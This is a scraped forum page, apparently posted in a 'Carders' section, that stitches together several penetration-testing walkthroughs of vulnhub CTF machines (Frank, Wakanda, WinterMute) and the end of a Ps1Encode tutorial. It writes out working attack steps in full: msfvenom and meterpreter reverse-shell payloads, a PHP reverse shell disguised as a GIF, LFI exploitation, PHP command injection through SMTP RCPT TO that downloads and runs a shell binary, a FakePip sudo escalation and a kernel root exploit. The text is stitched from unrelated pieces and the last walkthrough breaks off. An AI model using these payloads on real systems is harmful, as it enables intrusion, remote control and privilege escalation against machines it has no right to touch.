set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
![[Image: 8.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-kHLX0fjKt50/XHjzo-y4RLI/AAAAAAAAdNY/4OsJV_aJmYQOzhFdqW2g69NyKY43T1L2ACLcBGAs/s1600/8.png?w=687)
Once the file is executed in the victims’ PC, you will have your session as shown in the image above. Now we will try and generate an EXE file with the following :
./ps1encode -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
1
./ps1encode -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
![[Image: 9.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-Eod8Xvobi-A/XHjzpUpjBXI/AAAAAAAAdNg/usr-lyQtmAQvwMLftuGux_0NBynng6JoACLcBGAs/s1600/9.png?w=687)
Send this file to the victim’s PC using python server like before a shown in the image above. Simultaneously, start the multi handler to have a session with the following set of commands :
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
![[Image: 10.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-4cVLeM3TVCw/XHjznPB_TpI/AAAAAAAAdNE/xUrDAqydF8k1wutBAhZCdOWtMM2LpaozgCLcBGAs/s1600/10.png?w=687)
This way, you can use Ps1Encode to generate files in any format. As you can see, it’s pretty simple and convenient along with being user-friendly. Possibilities with Ps1Encode are endless.
Hello readers and welcome to another CTF challenge. This VM is made by Frank Tope as you’ll see on the very homepage on the server’s website (his resume). Nice touch, if I might add. Anyhow, you can download this VM from vulnhub [To see content please register here] . The aim of this lab is to get root and read the congratulatory message written in the flag.
I would rate the difficulty level of this lab to be intermediate. Although, there were no buffer overflows or unnecessary exploit development, yet it did make us think a little.
Steps Involved:
- Port Scanning and IP clutching.
- Directory busting port 80.
- Directory busting port 8011.
- Discovering LFI vulnerability.
- Discovering an HTML backup file.
- Cracking password hash
- Logging in /development
- Uploading a PHP shell disguised as GIF file.
- Bypassing the check and triggering the file to get a netcat shell.
- Privilege escalation to get the flag.
Alright then, let’s head into the VM all the way in.
The first step is as always, running netdiscover on the VM to grab the IP address. In my case, the IP was 192.168.1.103.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Di-JzPjOMVM/W3BdM-5LdsI/AAAAAAAAZsw/wdsdZ_02m0Qnk-Jx4Mxy45Jp-fFtHw7xwCLcBGAs/s1600/1.png?w=687&ssl=1)
Once the IP was found, we ran nmap aggressive scan to enumerate all the open ports.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-LHjyi99d5kU/W3BdOubZNoI/AAAAAAAAZtY/2KKQwSc6SbQQBQIJot0q1Fo9LCB1vDscQCLcBGAs/s1600/2.png?w=687&ssl=1)
What was there to wait for after we saw port 80 open! We headed straight into the browser and a webpage got displayed which looked like a single page resume.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-7vxY2LOKxT0/W3BdQThldpI/AAAAAAAAZt8/HOa3v5hhIRYafoLY5et6-8FbXiyHxAOtQCLcBGAs/s1600/3.png?w=687&ssl=1)
After not finding much, we chose to run directory buster dirb.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/--dflh0la8oc/W3BdQiR--VI/AAAAAAAAZuE/bKJqgaXuh6YbXOVZL1r2NFRyZONrSA1cwCLcBGAs/s1600/5.png?w=687&ssl=1)
robots.txt seemed interesting at first but it had nothing at all. Another directory was /development. It looked like a testing site since it asked for the authentication.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5hWhnish0lA/W3BdQkDCNeI/AAAAAAAAZuA/Ubvl5WsQh74W9VS36MnK82UR3JiPsxnYwCLcBGAs/s1600/6.png?w=687&ssl=1)
We then chose to look into port 8011, after finding not much of the info. It looked like a backend to the development directory.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-C_nkXJGjUu0/W3BdQ0G2x4I/AAAAAAAAZuI/mIpMKxl_8S8T9mriVItQv1FkijmDQR-LACLcBGAs/s1600/7.png?w=687&ssl=1)
We ran one more dirb scan on this port.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-c6WCBBMrW5g/W3BdRUmWfiI/AAAAAAAAZuM/WFWwDSuQxKoA-KtwEJzBbGhErPJQMIs1wCLcBGAs/s1600/8.png?w=687&ssl=1)
We found an interesting directory called /api. We opened it in the browser immediately.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-evWYLdtyBYA/W3BdRnUjyLI/AAAAAAAAZuQ/sF0HKh7ZbGASwM7a2Klbsh8XG3k7kUA8QCLcBGAs/s1600/9.png?w=687&ssl=1)
We modified the URL parameter to /api/<api-name> but only one API seemed to be working and that was
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-xSu6WUIOmxw/W3BdM_mwY7I/AAAAAAAAZs0/nb6Z1rmj1bcEsTniCGYdv9hBdaroAVZ1gCLcBGAs/s1600/10.png?w=687&ssl=1)
A message said, “no parameter called file passed to me.” It gave us a hint that we had to pass a parameter called file.
192.168.1.103:8011/api/files_api.php?file=/etc/passwd
1
192.168.1.103:8011/api/files_api.php?file=/etc/passwd
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-JpiFqOcT69E/W3BdM4IqlrI/AAAAAAAAZs4/z3bKeqvlS64gHia9YZrvKnsQXHACEjy0ACLcBGAs/s1600/11.png?w=687&ssl=1)
HAHA. They got us. But still, there was another thing left to try—bypassing parameter through curl.
curl -X POST -d "file=/etc/passwd" [To see content please register here]
1
curl -X POST -d "file=/etc/passwd" [To see content please register here]
As you can see, LFI is present here!
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-b_QBfUECbBI/W3BdNUzykzI/AAAAAAAAZs8/48hagVLJCMkOyGFT7iU7dXJI1PT5QC4LACLcBGAs/s1600/12.png?w=687&ssl=1)
Now, we tried some methods, put our hands here and there but nothing worked with this LFI.
Meanwhile, another thing that got our attention was the development server. You had a development site, you have a development server, and hence there would be more than one html files or copies of html files (backups).
One such common file is index.html.bak
It was an arrow in the dark but it hit the bullseye!
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-aBvbujV6JNY/W3BdNuyrqeI/AAAAAAAAZtE/0e78V7TG-RsUuccaKcmlT-faBBN_3---ACLcBGAs/s1600/14.png?w=687&ssl=1)
We saved it and read it using cat utility.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-YxNcr5zBoXI/W3BdNV3fiGI/AAAAAAAAZtA/PN6c6Jy_gfAXtfNowE0kF80h4l8dXrK8gCLcBGAs/s1600/15.png?w=687&ssl=1)
It had a password hash! It took us no time to copy this in a text file called hash.txt and run John the Ripper on it.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-nlbyvX5OJfE/W3BdN4nS_BI/AAAAAAAAZtM/781fW7hvkOAmaQvok5nh3hHU1lU4KW0ZwCLcBGAs/s1600/17.png?w=687&ssl=1)
It surely was the credentials to /development authentication.
frank:frank!!!!
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-IyHuSJIiRag/W3BdOF0fUTI/AAAAAAAAZtQ/WR1EBzP1x38iiG33TRT1KlqG3DMrHyWqwCLcBGAs/s1600/18.png?w=687&ssl=1)
And it opened up like a beautiful treasure!
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-BbHhjDUT08E/W3BdOQ2sfWI/AAAAAAAAZtU/DYz39YYQ7MI7lvySt5iQDYqgvMXb0IU1QCLcBGAs/s1600/19.png?w=687&ssl=1)
The message on this page said that the uploader tool was only half completed. So, we went to /uploader directory
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-pBK5vU_tIOA/W3BdOvmPL7I/AAAAAAAAZtc/zTaoLufmit4l3AZKyPSeM2CHltdN0KrwQCLcBGAs/s1600/20.png?w=687&ssl=1)
The uploader had a security check for images only (jpg, png, gif) and a size limitation too.
So, here is what we did.
Traverse to the directory: /usr/share/webshells/php/php-reverse-shell.php
Open it with a text editor and add GIF98 in the first line and save this file as shell.gif
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-z8nh9F7VrZw/W3BdO09xlAI/AAAAAAAAZtg/EpToTuHKnO0SyPu3DJYpsGx0n1TAtQOWgCLcBGAs/s1600/21.png?w=687&ssl=1)
Now, what this will do is that it will trick the uploader in believing the file is GIF when in reality, it is a PHP reverse shell.
So, we upload shell.gif using the uploader and the following message was received.
![[Image: 22.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-LiZEXlGk4eg/W3BdPSmdQJI/AAAAAAAAZtk/3t3r5tW68fEeZO2cjgfzhoSfI3Uvs2m3wCLcBGAs/s1600/22.png?w=687&ssl=1)
Now, the author said the file was uploaded to his uploads path. Let’s get a little perspective here.
Website’s name: Frank’s website
Uploader’s name: Frank uploader.
First message on the website: I love patterns
It took a while for us but we guessed it in the end, the upload’s directory would be named Frank uploads.
We tried many permutations for this directory like Frankupload, frankUploads, franksuploads etc. but the one that seemed to hit was FRANKuploads.
This step was tedious and time-consuming as there was no straight connection from anywhere to this directory.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--zqFQ1DrjXw/W3BdPkHzHTI/AAAAAAAAZto/FoC8gkvshMIfZctBvtKFzgLKOYCQx5mWACLcBGAs/s1600/23.png?w=687&ssl=1)
Now, all was left to trigger this file. We know for a fact that double-clicking won’t do us any good so we used curl once again to get a shell.
We activated netcat on a terminal side by side and typed this following curl command:
curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" [To see content please register here]
1
curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" [To see content please register here]
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-6zZPdx3LV0M/W3BdPp78TcI/AAAAAAAAZts/SLxW1UqK6rgtz8FmXBr4RB-WnfdmUyYBACLcBGAs/s1600/24.png?w=687&ssl=1)
On another terminal, we had activated netcat:
As soon as curl triggered the LFI vulnerability and requested for shell.gif, we got a netcat session!
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash");'
uname -a
1
2
3
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash");'
uname -a
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-hgedKyaEsow/W3BdP7ZhrEI/AAAAAAAAZtw/EdUeB4jtJ74rAABYQPRcaRt7RiSOMbApQCLcBGAs/s1600/25.png?w=687&ssl=1)
After a bit of surfing, we found a Linux Kernel exploit for version 2.6
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python -m SimpleHTTPServer 80
1
2
3
4
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python -m SimpleHTTPServer 80
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-mLYB_ViVH6k/W3BdQCD9UJI/AAAAAAAAZt0/o_Ukn6xjcYM3-in9RzG_D5UpBV3Q1jC2ACLcBGAs/s1600/26.png?w=687&ssl=1)
On our VM shell, we downloaded this exploit, compiled it and ran it to get root!
cd tmp
wget [To see content please register here]
gcc 15285.c -o 15285
chmod 777 15285
./15285
1
2
3
4
5
cd tmp
wget [To see content please register here]
gcc 15285.c -o 15285
chmod 777 15285
./15285
Voila! We got root!
cd root
ls
cat root.txt
1
2
3
cd root
ls
cat root.txt
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-7cQLcmdTLGE/W3BdQCjRO7I/AAAAAAAAZt4/JIihQ9_gmf0BmpPK1R-e5m8DtBElIqTBACLcBGAs/s1600/27.png?w=687&ssl=1)
And there it was, the flag. Hope you enjoyed because we sure did!
Hello friends! Today we are going to take another CTF challenge known as Wakanda and it is another capture the flag challenge provided for practice. So let’s try to break through it. But before please note that you can download it from [To see content please register here] .
Security Level: Intermediate
Flags: There are three flags (flag1.txt, flag2.txt, root.txt)
Penetrating Methodologies- Network Scanning (Nmap, netdiscover)
- HTTP service enumeration
- Exploiting LFI using php filter
- Decode the base 64 encoded text for password
- SSH Login
- Get 1st Flag
- Finding files owned by devops
- Overwrite antivirus.py via malicious python code
- Get netcat session
- Get 2nd flag
- Sudo Privilege Escalation
- Exploit Fake Pip
- Get the Root access and Capture the 3rd flag
WalkThrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wUXbYsmQcPA/W27JxytxBtI/AAAAAAAAZrQ/kopGcAFYseYtfdg7W5TEApFhJlextTHtQCEwYBhgL/s1600/1.png?w=687&ssl=1)
We found our target –> 192.168.1.124
Our next step is to scan our target with NMAP.
nmap -p- -A 192.168.1.124
1
nmap -p- -A 192.168.1.124
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-mf2lTtaoCw4/W27J2A4BurI/AAAAAAAAZrQ/BYKCMkO3FRgliVL7K2EalwAmhO4q_AxIACEwYBhgL/s1600/2.png?w=687&ssl=1)
The NMAP output shows us that there are 4 ports open: 80 (HTTP), 111 (RPC), 333(SSH), 48920(RPC)
Browsed the URL [To see content please register here] and poked around; however, we were not able to get any significant clues to move forward
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-8rzQ0xikp6A/W27J2WFJuuI/AAAAAAAAZrM/JV7PoOb4GekiRCccQL_1gdxiHu1ZNlduwCEwYBhgL/s1600/3.png?w=687&ssl=1)
We didn’t find anything on the webpage so we use dirb to enumerate the directories.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-S9q4UVM28IQ/W27J22NKWSI/AAAAAAAAZrI/m2jRNqHZgaQTMjykjClWSahzrWVoX315QCEwYBhgL/s1600/4.1.png?w=687&ssl=1)
All the pages that we find in the dirb scan have size zero and we don’t find any content on any of the pages. We take a look at the source page of the index file and we find a “lang” parameter commented inside the page.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-SXPnuaCTfaQ/W27J3qjx3WI/AAAAAAAAZrQ/jGvApOShXdEmm0VNg7gDh9E_6K69kB4jgCEwYBhgL/s1600/4.png?w=687&ssl=1)
We use the “lang” parameter, just like it was shown in the page and find the text has been converted into French. Now we check if the “lang” parameter is vulnerable to LFI.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-6bINCAgJTAk/W27J3wdmZDI/AAAAAAAAZrM/RWfKciVLgGw7802He6pinbnmHFRABNLVQCEwYBhgL/s1600/5.png?w=687&ssl=1)
We are able to exploit the LFI vulnerability using “php://filter/convert.base64-encode” function and access the index page.
curl [To see content please register here]
1
curl [To see content please register here]
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-VkEm3WupFzc/W27J4aRz7PI/AAAAAAAAZrU/fgyGsVH9XnUOYyKLIt3BQI7EKQz2OsvrgCEwYBhgL/s1600/8.png?w=687&ssl=1)
We decode the base64 encoded string and find the password “Niamey4Ever227!!!”. On the page, we find that “mamadou” is the author. We use these credentials to login through ssh on the target machine.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-WiG23keB3wE/W27J4kuD4hI/AAAAAAAAZrY/Y65bkhTyibcaWNJA6rHdj2TnMXdtMtFMwCEwYBhgL/s1600/9.png?w=687&ssl=1)
When we login through ssh we get a python IDE prompt. We import the pty module and spawn ‘/bin/bash’ shell. We take a look at the home directory for user mamaduo and find the first flag.
ssh [email protected] -p 3333
1
ssh [email protected] -p 3333
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-qBtPrm97Um4/W27JxxsJMgI/AAAAAAAAZrY/O0CV3r6zEJIQs36UHrNGOuQ62v0cYZl6QCEwYBhgL/s1600/10.png?w=687&ssl=1)
Enumerating through the directories, inside /tmp directory we find a file called test. We open it and find nothing interesting, but when we take a closer look at the file we find it that is owned by a devops. Now we find all the files owned by user devops and find a file called “.antivirus.py” inside /srv directory.
find / -user devops 2>/dev/null
1
find / -user devops 2>/dev/null
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ar89CTFfvH4/W27Jxm0dPGI/AAAAAAAAZrA/OxyU21oMFfM8fHXn1JHoPL7-HMoUGI7TwCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now when we open the python file we find that it is opening and test file and writing “test” inside it. To exploit this, we replace the code with shellcode. First, we create a msfvenom payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-T_Hgl29-kyU/W27JylqbqzI/AAAAAAAAZrY/FrdaxLB9FUYzot4G8UPsFJbGUopUD9nmgCEwYBhgL/s1600/12.png?w=687&ssl=1)
After creating the payload, we open the “. antivirus.py” file and comment out the earlier code and insert our payload without adding “python -c”.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-oW4yndSZatQ/W27Jy93Nx9I/AAAAAAAAZrM/XA--GArQ3dkQPJdZlVHpOxhGuOhiJiUhwCEwYBhgL/s1600/13.png?w=687&ssl=1)
We set up our listener using netcat, we wait for a few minutes for the script to get executed. As soon as the script is executed we get a reverse shell. When we check the UID we find that we spawned a shell for devops. Now we go to /home/devops directory and find the second flag. After getting the second flag we find that we can execute pip is a superuser without root.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-pv7UULRuz50/W27JzEXqOpI/AAAAAAAAZrU/FLXek_2gkfc2MeRivQOPCT6tTR7r7S_BgCEwYBhgL/s1600/14.png?w=687&ssl=1)
Now there is a script called Fakepip (download [To see content please register here] ), that can be used to exploit this vulnerability.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-oyTBd0ZX9oQ/W27Jzt87N4I/AAAAAAAAZrM/KSta4pWP0lMldx_BQ1k4XwHW1arVeF51QCEwYBhgL/s1600/15.png?w=687&ssl=1)
We download the fakepip script into our system to edit the payload inside.
git clone [To see content please register here]
1
git clone [To see content please register here]
We edit the payload inside os.system function.
![[Image: 17.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-flmanQMs9uY/W27J071ETpI/AAAAAAAAZrA/wb0xU-jeYMsv19tTOhB_JXKWE5jqM2mygCEwYBhgL/s1600/17.1.png?w=687&ssl=1)
We decode the base64 encoded string and change the IP address to our IP address. Then we again convert the string to base64 and replace the older string with the new one.
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ctLs6VgSLFo/W27J1JnPcYI/AAAAAAAAZrU/GA6-7hfDKJIb_wleTksVddCQ6TpPWmKpwCEwYBhgL/s1600/17.png?w=687&ssl=1)
We start the python server on our system so that we can upload the FakePip script into the target machine.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 16.1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-05Wj8Zxg-wY/W27Jz7Eu0eI/AAAAAAAAZrY/TnwCOtVDbU8ElQfcVIp07ItxGTXVilrKgCEwYBhgL/s1600/16.1.png?w=687&ssl=1)
After we start HTTP server, we download the script on the target machine using wget. Now execute the command as per the instructions were given to us on the FakePip readme file.
wget [To see content please register here]
sudo pip install . --upgrade --force-reinstall
1
2
wget [To see content please register here]
sudo pip install . --upgrade --force-reinstall
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-GnS4AliNaow/W27J1fW24_I/AAAAAAAAZrY/7X6zL6IA9hkQm3eSik3iWwp1L5jVBh72ACEwYBhgL/s1600/18.png?w=687&ssl=1)
As soon as we run the command we get a reverse shell as the root user. We now go to the root directory and find the root flag.
|
|
|
|
| [Guide] How to Hack the WinterMute: 1 (CTF Challenge) |
|
Posted by: NINZA - 05-14-2020, 09:35 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends! Today we are going to take another CTF challenge known as Wintermute (Part 1) and it is another boot2root challenge provided for practice. So let’s try to break through it. But before please note that you can download it from here [To see content please register here]
Security Level: Intermediate
Author Note: There are 2 important things to note down for this lab
- No buffer overflows or exploits development – any necessary password cracking can be done with small wordlists.
- Straylight – simulates a public facing server with 2 NICs. Cap this first, then pivot to the final machine. Neuromancer – is within a non-public network with 1 NIC.
Imp Note: This lab has 2 parts. The 1st part comprises of gaining the root shell of the victim machine and subsequently pivoting to another machine.T o begin with, this is the 1st part of the lab; a post which we will publish the 2nd lab in upcoming days
Penetrating Methodologies - Network Scanning (Nmap, netdiscover)
- HTTP service enumeration
- Directory Traversal in the browser using Email log files
- Exploiting OS command injection in RCPT option of SMTP
- Generate PHP Backdoor (Msfvenom)
- Execute the backdoor embedded in RCPT option
- Reverse connection (Metasploit)
- Import python one-liner for proper TTY shell
- Identify the appropriate vulnerable SUID
- Exploiting target (exploit 4115)
- Get root access and capture the flag
WalkThrough
Let’s start off with scanning the network to find our target.
![[Image: 0.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-avWw4te5cH4/W25-u0e4rGI/AAAAAAAAZl4/rj8jPSnsJCciHBXBCGMKztQZIiKBnT3MwCLcBGAs/s1600/0.png?w=687&ssl=1)
We found our target –> 192.168.1.124
Our next step is to scan our target with NMAP.
nmap -p- -A 192.168.1.124
1
nmap -p- -A 192.168.1.124
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ufGnfMxx0RE/W25-uz-PO7I/AAAAAAAAZl8/FZ90A1lc7DwtVHz-7l1-jx5kS_07hRi2QCLcBGAs/s1600/1.png?w=687&ssl=1)
The NMAP output shows us that there are 3 ports opened: 25 (SMTP), 80 (HTTP), 3000
Browsed the URL [To see content please register here] and poked around; however, we were not able to get any significant clues to move forward
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-MQ5s18C1HZQ/W25-w-x-yzI/AAAAAAAAZmk/CQ-FhlTei0YG4RrYFdJQpX4nTXkYc3_AwCLcBGAs/s1600/2.png?w=687&ssl=1)
As we are aware that port 3000 is also opened on the victim machine, hence let’s try to access the website on a Non-standard HTTP port (3000) as follows :
Browse to [To see content please register here] and we will be greeted with the following page
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-J21Ql5UKZrc/W25-yWJe6WI/AAAAAAAAZm8/31qdBPJ4af8x4iL13Nn9bRCU714BU6dBwCLcBGAs/s1600/3.png?w=687&ssl=1)
As we can see a Hint at the bottom of the page, the default username and credentials are already provided to us! Let’s try to login to the page with them
Username: admin
Password: admin
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-2dWT776kVFk/W25-ys80w3I/AAAAAAAAZnA/K1c1BMJF6aMdG8GWSLoiDoaMzH7lx7l7ACLcBGAs/s1600/4.png?w=687&ssl=1)
On clicking the Flows option, we were redirected to the following page:
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ez5Wa6w7fGc/W25-ylTgXrI/AAAAAAAAZnE/lPHaUJUwT7cOej4M5uw_E9gWRHKxafeEwCLcBGAs/s1600/5.png?w=687&ssl=1)
Here we observed few directories were listed (as shown in the screenshot above), hence we thought of appending them to our URL [To see content please register here] OR [To see content please register here]
We tried accessing [To see content please register here] however no success. Then we browsed the URL [To see content please register here] and got below page
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-tYEQXYQcD0k/W25-zPj5nkI/AAAAAAAAZnI/IMqgDpYxVqAyANVhGEUHLMx-lwxc-9YNgCLcBGAs/s1600/6.png?w=687&ssl=1)
Click on Submit Query and we are redirected to the following page
[To see content please register here]
1
[To see content please register here]
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-aNNdQAokF-0/W25-zigOmtI/AAAAAAAAZnQ/G_cfXdbfbbE65WGE1eY2QDpvkOa2YpLUACLcBGAs/s1600/7.png?w=687&ssl=1)
From the above screenshot, we can see a few log files (as highlighted). Per our experience, this could be an indication of Directory traversal where we can execute writeable files in the browser. Hence let’s try to append ../../../log/mail to the URL in the browser as follows :
[To see content please register here]
1
[To see content please register here]
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-wqorKfgpDZk/W25-zdoiiLI/AAAAAAAAZnM/w_YiYhNOKPA55y4BzbI2-9UpAx4jQr-RQCLcBGAs/s1600/8.png?w=687&ssl=1)
Now let’s try to enumerate further and connect to the SMTP (25) port
telnet 192.168.1.124 25
1
telnet 192.168.1.124 25
As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via command line (CLI) of this machine and send the OS commands via the “RCPT TO” option.
MAIL FROM:<[email protected]>
220 straylight ESMTP Postfix (Debian/GNU)
250 2.1.0 Ok
RCPT TO:<?php system('whoami'); ?>
501 5.1.3 Bad recipient address syntax
1
2
3
4
5
MAIL FROM:<[email protected]>
220 straylight ESMTP Postfix (Debian/GNU)
250 2.1.0 Ok
RCPT TO:<?php system('whoami'); ?>
501 5.1.3 Bad recipient address syntax
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-JdZFL_1R1gc/W25-zlictzI/AAAAAAAAZnU/8CsG7aBFYcMEGklKk_K5zFhw2KdC7R9VgCLcBGAs/s1600/9.png?w=687&ssl=1)
Note: We can ignore the 501 5.1.3 Bad recipient address syntax server response as seen in the above screenshot because ideally the internal email program of the server (victim machine), is expecting us to input an email ID and not the OS commands.
Now navigate back to the URL [To see content please register here]
As depicted in the below screenshot of the browser, we can clearly see that mail logs files are displaying response output (www-data) of the Unix (OS) command whoami
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-KUQjuxp_XvQ/W25-uyD3wBI/AAAAAAAAZmA/RrisAyfSp5EgizaiZ5XQu8DECjoHFbzbgCLcBGAs/s1600/10.png?w=687&ssl=1)
Let’s generate a Reverse shell with the following command
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f elf > shell.elf
1
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f elf > shell.elf
Now run the web server on the Kali machine
python –m SimpleHTTPServer 80
1
python –m SimpleHTTPServer 80
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-EoUspTYstIE/W25-vsgGP3I/AAAAAAAAZmE/CiMlQmMNWgUkqdd2ejhXLRPa-Ul-JyErACLcBGAs/s1600/11.png?w=687&ssl=1)
As we got success in receiving the response of OS commands in the email log files, in a similar way there is a possibility that following this method, we may also get the Meterpreter access of the victim machine
Hence as seen in the below screenshot, we will pass the commands in RCPT command as follows :
1. Navigate to the/tmp directory and Download the shell.elf file from Kali machine
2. Modify the permissions of the shell.elf file
3.Execute our Reverse shell (shell.elf) file
RCPT TO:<?php system('cd /tmp; wget [To see content please register here] ); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('chmod 777 /tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('/tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
1
2
3
4
5
6
RCPT TO:<?php system('cd /tmp; wget [To see content please register here] ); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('chmod 777 /tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
RCPT TO:<?php system('/tmp/shell.elf'); ?>
501 5.1.3 Bad recipient address syntax
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-MMzIEamKV1Q/W25-vgNRNJI/AAAAAAAAZmI/IhwtzabLH_M_dAC7fK1hFjInkqaId16wwCLcBGAs/s1600/12.png?w=687&ssl=1)
Now in parallel, open the Metasploit console and perform the following
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
Awesome!! We got the Meterpreter session
Using sysinfo command, we found machine architecture details which may eventually help us to find out the kernel exploit for privilege escalation
sysinfo
1
sysinfo
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-FCz6mKmQh20/W25-vkOhj1I/AAAAAAAAZmM/Mfna8Xad8ngGLKIHuVSV0gpG2z0LTNi2ACLcBGAs/s1600/13.png?w=687&ssl=1)
Further, navigate to shell
shell
1
shell
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now let’s trigger the post-exploitation and try to get root access. Then by using the following command, we can enumerate all binaries having SUID permission.
find / -perm -4000 2>/dev/null
1
